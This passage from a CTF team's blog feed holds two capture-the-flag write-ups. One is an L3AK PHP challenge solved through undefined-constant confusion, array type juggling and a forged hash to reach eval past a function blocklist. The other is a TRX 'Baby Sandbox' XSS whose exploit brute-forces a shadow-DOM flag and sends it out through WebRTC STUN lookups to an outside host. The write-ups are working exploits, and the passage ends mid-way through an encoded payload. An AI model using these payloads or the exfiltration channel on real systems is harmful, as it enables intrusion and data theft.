&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span>define(&lt;span style="color:#fc6a5d">&amp;#39;yek&amp;#39;&lt;/span>, &lt;span style="color:#41a1c0">$_SESSION&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#39;yek&amp;#39;&lt;/span>]);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> (!isset(&lt;span style="color:#41a1c0">$_SESSION&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#39;yek&amp;#39;&lt;/span>])) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$_SESSION&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#39;yek&amp;#39;&lt;/span>] = openssl_random_pseudo_bytes(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> openssl_cipher_iv_length(&lt;span style="color:#fc6a5d">&amp;#39;aes-256-cbc&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> );
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At first, this could seem like it spells disaster for us, if it wasn&amp;rsquo;t for the fact that &lt;code>yek&lt;/code> isn&amp;rsquo;t actually used in the code:&lt;/p></description><content type="html"><![CDATA[<p>A mixture of variable confusion, type juggling and broken crypto, let&rsquo;s take a look.</p>
<h2 id="examining-the-vulnerability">Examining the vulnerability</h2>
<p>We have a few different files at our disposal, but the only one we care about is <code>dashboard.php</code>.</p>
<p>There are a few glaring issues with the code that stand out at a glance</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>define(<span style="color:#fc6a5d">&#39;yek&#39;</span>, <span style="color:#41a1c0">$_SESSION</span>[<span style="color:#fc6a5d">&#39;yek&#39;</span>]);          
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> (!isset(<span style="color:#41a1c0">$_SESSION</span>[<span style="color:#fc6a5d">&#39;yek&#39;</span>])) {           
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">$_SESSION</span>[<span style="color:#fc6a5d">&#39;yek&#39;</span>] = openssl_random_pseudo_bytes(
</span></span><span style="display:flex;"><span>        openssl_cipher_iv_length(<span style="color:#fc6a5d">&#39;aes-256-cbc&#39;</span>)
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>At first, this could seem like it spells disaster for us, if it wasn&rsquo;t for the fact that <code>yek</code> isn&rsquo;t actually used in the code:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> (custom_sign(<span style="color:#41a1c0">$_GET</span>[<span style="color:#fc6a5d">&#39;msg&#39;</span>], <span style="color:#41a1c0">$yek</span>, safe_sign(<span style="color:#41a1c0">$_GET</span>[<span style="color:#fc6a5d">&#39;key&#39;</span>])) === <span style="color:#41a1c0">$_GET</span>[<span style="color:#fc6a5d">&#39;hash&#39;</span>])
</span></span></code></pre></div><p>This <code>custom_sign</code> function takes in <code>$yek</code> instead, which is <strong>undefined</strong>.</p>
<p>Likewise, <code>safe_sign</code> uses <code>iv</code>, which is also undefined, this causes PHP to take &lsquo;iv&rsquo; as a literal instead</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#fc5fa3">function</span> <span style="color:#41a1c0">safe_sign</span>(<span style="color:#41a1c0">$data</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> openssl_encrypt(<span style="color:#41a1c0">$data</span>, <span style="color:#fc6a5d">&#39;aes-256-cbc&#39;</span>, KEY, <span style="color:#d0bf69">0</span>, iv);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>(<em>Note: this behavior has been deprecated in recent versions</em>)</p>
<p>KEY is hard-coded in <code>config.php</code>, but we don&rsquo;t really care about that.</p>
<p>Why?</p>
<h2 id="the-exploit">The exploit</h2>
<p>We can use PHP type juggling to input the key parameter as an <strong>array</strong> instead of a string:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>dashboard.php?key[]=foo
</span></span></code></pre></div><p>This makes <code>safe_sign</code> return NULL, which in turn grants us the ability to fully manipulate <code>custom_sign</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>custom_sign(<span style="color:#41a1c0">$_GET</span>[<span style="color:#fc6a5d">&#39;msg&#39;</span>], <span style="color:#41a1c0">$yek</span>, safe_sign(<span style="color:#41a1c0">$_GET</span>[<span style="color:#fc6a5d">&#39;key&#39;</span>])) === custom_sign(<span style="color:#41a1c0">$_GET</span>[<span style="color:#fc6a5d">&#39;msg&#39;</span>], <span style="color:#fc5fa3">NULL</span>, <span style="color:#fc5fa3">NULL</span>)
</span></span></code></pre></div><p>This is equivalent to</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>openssl_encrypt(<span style="color:#41a1c0">$msg</span>, <span style="color:#fc6a5d">&#39;aes-256-cbc&#39;</span>, <span style="color:#fc5fa3">NULL</span>, <span style="color:#d0bf69">0</span>, <span style="color:#fc5fa3">NULL</span>)
</span></span></code></pre></div><p>We can therefore calculate the hash offline for a specific message and use it, along with said message, to access this part of the code:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>        <span style="color:#fc5fa3">echo</span> <span style="color:#fc6a5d">&#34;&lt;div class=&#39;success&#39;&gt;Wow! Hello buddy I know you! Here is your secret files:&lt;/div&gt;&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">$stmt</span> = <span style="color:#41a1c0">$db</span>-&gt;prepare(<span style="color:#fc6a5d">&#34;SELECT content FROM notes WHERE user_id = ?&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">$stmt</span>-&gt;execute([<span style="color:#41a1c0">$_SESSION</span>[<span style="color:#fc6a5d">&#39;user_id&#39;</span>]]);
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">$notes</span> = <span style="color:#41a1c0">$stmt</span>-&gt;fetchAll(PDO::FETCH_ASSOC);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> (!<span style="color:#41a1c0">$notes</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">echo</span> <span style="color:#fc6a5d">&#34;&lt;p&gt;Nothing here.&lt;/p&gt;&#34;</span>;
</span></span><span style="display:flex;"><span>        } <span style="color:#fc5fa3">else</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">foreach</span> (<span style="color:#41a1c0">$notes</span> <span style="color:#fc5fa3">as</span> <span style="color:#41a1c0">$note</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#41a1c0">$content</span> = <span style="color:#41a1c0">$note</span>[<span style="color:#fc6a5d">&#39;content&#39;</span>];
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">if</span> (strpos(<span style="color:#41a1c0">$content</span>, <span style="color:#fc6a5d">&#39;`&#39;</span>) !== <span style="color:#fc5fa3">false</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">echo</span> <span style="color:#fc6a5d">&#39;You are a betrayer!&#39;</span>;
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">continue</span>;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                <span style="color:#41a1c0">$isBetrayal</span> = <span style="color:#fc5fa3">false</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">foreach</span> (<span style="color:#41a1c0">$dangerous</span> <span style="color:#fc5fa3">as</span> <span style="color:#41a1c0">$func</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">if</span> (preg_match(<span style="color:#fc6a5d">&#39;/\b&#39;</span> . preg_quote(<span style="color:#41a1c0">$func</span>, <span style="color:#fc6a5d">&#39;/&#39;</span>) . <span style="color:#fc6a5d">&#39;\s*\(/i&#39;</span>, <span style="color:#41a1c0">$content</span>)) {
</span></span><span style="display:flex;"><span>                        <span style="color:#41a1c0">$isBetrayal</span> = <span style="color:#fc5fa3">true</span>;
</span></span><span style="display:flex;"><span>                        <span style="color:#fc5fa3">break</span>;
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">if</span> (<span style="color:#41a1c0">$isBetrayal</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">echo</span> <span style="color:#fc6a5d">&#39;You are a betrayer!&#39;</span>;
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">continue</span>;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">try</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">eval</span>(<span style="color:#41a1c0">$content</span>);
</span></span><span style="display:flex;"><span>                } <span style="color:#fc5fa3">catch</span> (Throwable <span style="color:#41a1c0">$e</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">echo</span> <span style="color:#fc6a5d">&#34;&lt;pre class=&#39;error&#39;&gt;Eval error: &#34;</span>
</span></span><span style="display:flex;"><span>                    . htmlspecialchars(<span style="color:#41a1c0">$e</span>-&gt;getMessage())
</span></span><span style="display:flex;"><span>                    . <span style="color:#fc6a5d">&#34;&lt;/pre&gt;&#34;</span>;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span></code></pre></div><p>But we still have to bypass the blocklist:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#41a1c0">$dangerous</span> = [
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;exec&#39;</span>, <span style="color:#fc6a5d">&#39;shell_exec&#39;</span>, <span style="color:#fc6a5d">&#39;system&#39;</span>, <span style="color:#fc6a5d">&#39;passthru&#39;</span>, <span style="color:#fc6a5d">&#39;proc_open&#39;</span>, <span style="color:#fc6a5d">&#39;popen&#39;</span>, <span style="color:#fc6a5d">&#39;$&#39;</span>, <span style="color:#fc6a5d">&#39;`&#39;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;curl_exec&#39;</span>, <span style="color:#fc6a5d">&#39;curl_multi_exec&#39;</span>, <span style="color:#fc6a5d">&#39;eval&#39;</span>, <span style="color:#fc6a5d">&#39;assert&#39;</span>, <span style="color:#fc6a5d">&#39;create_function&#39;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;include&#39;</span>, <span style="color:#fc6a5d">&#39;include_once&#39;</span>, <span style="color:#fc6a5d">&#39;require&#39;</span>, <span style="color:#fc6a5d">&#39;require_once&#39;</span>, <span style="color:#fc6a5d">&#34;file_get_contents&#34;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;readfile&#39;</span>, <span style="color:#fc6a5d">&#39;fopen&#39;</span>, <span style="color:#fc6a5d">&#39;fwrite&#39;</span>, <span style="color:#fc6a5d">&#39;fclose&#39;</span>, <span style="color:#fc6a5d">&#39;unlink&#39;</span>, <span style="color:#fc6a5d">&#39;rmdir&#39;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;copy&#39;</span>, <span style="color:#fc6a5d">&#39;rename&#39;</span>, <span style="color:#fc6a5d">&#39;chmod&#39;</span>, <span style="color:#fc6a5d">&#39;chown&#39;</span>, <span style="color:#fc6a5d">&#39;chgrp&#39;</span>, <span style="color:#fc6a5d">&#39;touch&#39;</span>, <span style="color:#fc6a5d">&#39;mkdir&#39;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;rmdir&#39;</span>, <span style="color:#fc6a5d">&#39;fseek&#39;</span>, <span style="color:#fc6a5d">&#39;fread&#39;</span>, <span style="color:#fc6a5d">&#39;fgets&#39;</span>, <span style="color:#fc6a5d">&#39;fgetcsv&#39;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;file_put_contents&#39;</span>, <span style="color:#fc6a5d">&#39;stream_get_contents&#39;</span>, <span style="color:#fc6a5d">&#39;stream_copy_to_stream&#39;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;stream_get_line&#39;</span>, <span style="color:#fc6a5d">&#39;stream_set_blocking&#39;</span>, <span style="color:#fc6a5d">&#39;stream_set_timeout&#39;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;stream_select&#39;</span>, <span style="color:#fc6a5d">&#39;stream_socket_client&#39;</span>, <span style="color:#fc6a5d">&#39;stream_socket_server&#39;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;stream_socket_accept&#39;</span>, <span style="color:#fc6a5d">&#39;stream_socket_recvfrom&#39;</span>, <span style="color:#fc6a5d">&#39;stream_socket_sendto&#39;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;stream_socket_get_name&#39;</span>, <span style="color:#fc6a5d">&#39;stream_socket_pair&#39;</span>, <span style="color:#fc6a5d">&#39;stream_context_create&#39;</span>,
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;stream_context_set_option&#39;</span>, <span style="color:#fc6a5d">&#39;stream_context_get_options&#39;</span>
</span></span><span style="display:flex;"><span>];
</span></span></code></pre></div><p>But that&rsquo;s easy enough: <code>highlight_file('/tmp/flag.txt');</code> will do.</p>
<h2 id="putting-it-all-together">Putting it all together</h2>
<p>Let&rsquo;s compute the hash for message <code>testmessage</code> offline:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">$msg</span>  = <span style="color:#fc6a5d">&#39;testmessage&#39;</span>;                     <span style="color:#6c7986">// scegli tu
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">$hash</span> = openssl_encrypt(<span style="color:#fc6a5d">&#39;testmessage&#39;</span>, <span style="color:#fc6a5d">&#39;aes-256-cbc&#39;</span>, <span style="color:#fc5fa3">NULL</span>, <span style="color:#d0bf69">0</span>, <span style="color:#fc5fa3">NULL</span>);
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">echo</span> <span style="color:#41a1c0">$hash</span>;                        
</span></span><span style="display:flex;"><span><span style="color:#fd8f3f">?&gt;</span><span style="color:#960050">
</span></span></span></code></pre></div><p><code>E/fVzDJCHnsOolo60416CQ==</code></p>
<p>The final payload thus becomes:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#fc6a5d">`dashboard.php?key[]=foo&amp;msg=testmessage&amp;hash=E/fVzDJCHnsOolo60416CQ==`</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#fc6a5d">`highlight_file(&#39;/tmp/flag.txt&#39;);`</span>
</span></span></code></pre></div><p><strong><code>L3AK{N0t_4_5ecret_4nYm0r3333!!5215kgfr5s85z9}</code></strong></p>
]]></content></item><item><title>TRX CTF 25 - Baby Sandbox</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-baby-sandbox/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-baby-sandbox/</guid><description>&lt;p>This is an easy client-side challenge&lt;/p>
&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>We&amp;rsquo;re given a few files&lt;/p>
&lt;ul>
&lt;li>&lt;code>server.js&lt;/code>: Contains the server code. We can see that the server serves files with a strict CSP:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-js" data-lang="js">&lt;span style="display:flex;">&lt;span>app.use((req, res, next) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> res.setHeader(&lt;span style="color:#fc6a5d">&amp;#34;Content-Security-Policy&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;default-src &amp;#39;none&amp;#39;; frame-ancestors &amp;#39;none&amp;#39;; base-uri &amp;#39;none&amp;#39;; form-action &amp;#39;none&amp;#39;; script-src &amp;#39;self&amp;#39; &amp;#39;unsafe-inline&amp;#39;;&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> next()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>})
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>iframe.ejs&lt;/code>: A simple HTML file with an obvious HTML injection:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-js" data-lang="js">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">let&lt;/span> d = &lt;span style="color:#d0a8ff">document&lt;/span>.createElement(&lt;span style="color:#fc6a5d">&amp;#34;div&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> d.innerHTML = &lt;span style="color:#fc6a5d">&amp;#34;&amp;lt;%= payload %&amp;gt;&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">document&lt;/span>.body.appendChild(d);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>
&lt;p>&lt;code>index.ejs&lt;/code>: The content of &lt;code>index.ejs&lt;/code> will be put inside an iframe&lt;/p></description><content type="html"><![CDATA[<p>This is an easy client-side challenge</p>
<h2 id="overview">Overview</h2>
<p>We&rsquo;re given a few files</p>
<ul>
<li><code>server.js</code>: Contains the server code. We can see that the server serves files with a strict CSP:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>app.use((req, res, next) =&gt; {
</span></span><span style="display:flex;"><span>    res.setHeader(<span style="color:#fc6a5d">&#34;Content-Security-Policy&#34;</span>, <span style="color:#fc6a5d">&#34;default-src &#39;none&#39;; frame-ancestors &#39;none&#39;; base-uri &#39;none&#39;; form-action &#39;none&#39;; script-src &#39;self&#39; &#39;unsafe-inline&#39;;&#34;</span>);
</span></span><span style="display:flex;"><span>    next()
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><ul>
<li><code>iframe.ejs</code>: A simple HTML file with an obvious HTML injection:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>      <span style="color:#fc5fa3">let</span> d = <span style="color:#d0a8ff">document</span>.createElement(<span style="color:#fc6a5d">&#34;div&#34;</span>);
</span></span><span style="display:flex;"><span>      d.innerHTML = <span style="color:#fc6a5d">&#34;&lt;%= payload %&gt;&#34;</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#d0a8ff">document</span>.body.appendChild(d);
</span></span></code></pre></div><ul>
<li>
<p><code>index.ejs</code>: The content of <code>index.ejs</code> will be put inside an iframe</p>
</li>
<li>
<p><code>bot.js</code>: Contains the bot code. It&rsquo;s clear that the flag will be stored in local storage. We can supply a payload to the <code>visit</code> function, which will then be viewed by the bot. Note that the bot will sleep for a short period after viewing our payload.</p>
</li>
</ul>
<p>Finally, before inserting our payload, the flag will be placed inside a closed <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_shadow_DOM">shadow DOM</a>, making it inaccessible from JavaScript.</p>
<p>To bypass this restriction, we can use a deprecated feature: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand">document.execCommand</a></p>
<p>Specifically, we can use a lesser-known command: <code>findstring</code>:</p>
<ul>
<li><code>document.execCommand(&quot;findstring&quot;, false, &lt;substring&gt;)</code>, returns true if the substring is found, and false otherwise. I found it <a href="https://chromium.googlesource.com/chromium/src/+/refs/tags/131.0.6778.244/third_party/blink/renderer/core/editing/commands/editor_command_names.h">here</a></li>
</ul>
<p>After brute-forcing the flag, we can split it into chunks and exfiltrate it using WebRTC or any other method that does not violate the CSP.</p>
<p>Note: since our payload will be escaped, we had to encode it using the following function</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>def encode(payload):
</span></span><span style="display:flex;"><span>    result = <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> c <span style="color:#fc5fa3">in</span> payload:
</span></span><span style="display:flex;"><span>        result += <span style="color:#fc6a5d">&#34;\\x&#34;</span> + hex(ord(c))[<span style="color:#d0bf69">2</span>:].zfill(<span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> result
</span></span></code></pre></div><h2 id="final-exploit">Final Exploit</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>(() =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">function</span> toHex(str) {
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">let</span> hex = <span style="color:#fc6a5d">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span>(<span style="color:#fc5fa3">let</span> i = <span style="color:#d0bf69">0</span>; i &lt; str.length; i++) {
</span></span><span style="display:flex;"><span>            hex += str.charCodeAt(i).toString(<span style="color:#d0bf69">16</span>);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> hex;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> flag = <span style="color:#fc6a5d">&#34;TRX{&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> charset = <span style="color:#fc6a5d">&#34;abcdefghijklmnopqrstuvwxyz0123456789_{}&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span>(<span style="color:#fc5fa3">let</span> i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">128</span>; i++){
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span>(<span style="color:#fc5fa3">let</span> c <span style="color:#fc5fa3">in</span> charset){
</span></span><span style="display:flex;"><span>            res = <span style="color:#d0a8ff">document</span>.execCommand(<span style="color:#fc6a5d">&#34;findstring&#34;</span>, <span style="color:#fc5fa3">false</span>, flag+charset[c]);
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">if</span>(res){
</span></span><span style="display:flex;"><span>                flag += charset[c];
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">break</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> chunkSize = <span style="color:#d0bf69">4</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> (<span style="color:#fc5fa3">let</span> i = <span style="color:#d0bf69">0</span>; i &lt; flag.length; i += chunkSize) {
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">let</span> chunk = flag.substring(i, i + chunkSize);
</span></span><span style="display:flex;"><span>        console.log(chunk);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">let</span> pc = <span style="color:#fc5fa3">new</span> RTCPeerConnection({<span style="color:#fc6a5d">&#34;iceServers&#34;</span>:[{<span style="color:#fc6a5d">&#34;urls&#34;</span>:[<span style="color:#fc6a5d">&#34;stun:&#34;</span> + toHex(chunk) + <span style="color:#fc6a5d">&#34;.&#34;</span> + i + <span style="color:#fc6a5d">&#34;.az5f3of1.requestrepo.com&#34;</span>]}]});
</span></span><span style="display:flex;"><span>        pc.createOffer({offerToReceiveAudio:<span style="color:#d0bf69">1</span>}).then(o =&gt; pc.setLocalDescription(o)).<span style="color:#fc5fa3">catch</span>(e =&gt; console.error(e));
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    })();
</span></span></code></pre></div><p>You can then compress this and put it inside an <code>img</code> tag:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;img src=<span style="color:#fc6a5d">&#34;#&#34;</span> onerror=<span style="color:#fc6a5d">&#39;(()=&gt;{let o=&#34;TRX{&#34;;var r=&#34;abcdefghijklmnopqrstuvwxyz0123456789_{}&#34;;for(let e=0;e&lt;128;e++)for(var t in r)res=document.execCommand(&#34;findstring&#34;,!1,o+r[t]),res&amp;&amp;(o+=r[t]);for(let e=0;e&lt;o.length;e+=4){var n=o.substring(e,e+4);console.log(n);let r=new RTCPeerConnection({iceServers:[{urls:[&#34;stun:&#34;+function(r){let o=&#34;&#34;;for(let e=0;e&lt;r.length;e++)o+=r.charCodeAt(e).toString(16);return o}(n)+&#34;.&#34;+e+&#34;.az5f3of1.requestrepo.com&#34;]}]});r.createOffer({offerToReceiveAudio:1}).then(e=&gt;r.setLocalDescription(e)).catch(e=&gt;console.error(e))}})();&#39;</span>&gt;
</span></span></code></pre></div><p>Encoded payload:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#960050">\</span>x3c<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6d<span style="color:#960050">\</span>x67<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x23<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x27<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x3e<span style="color:#960050">\</span>x7b<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x54<span style="color:#960050">\</span>x52<span style="color:#960050">\</span>x58<span style="color:#960050">\</span>x7b<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x76<span style="color:#960050">\</span>x61<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x61<span style="color:#960050">\</span>x62<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x64<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x67<span style="color:#960050">\</span>x68<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6a<span style="color:#960050">\</span>x6b<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x6d<span style="color:#960050">\</span>x6e<span 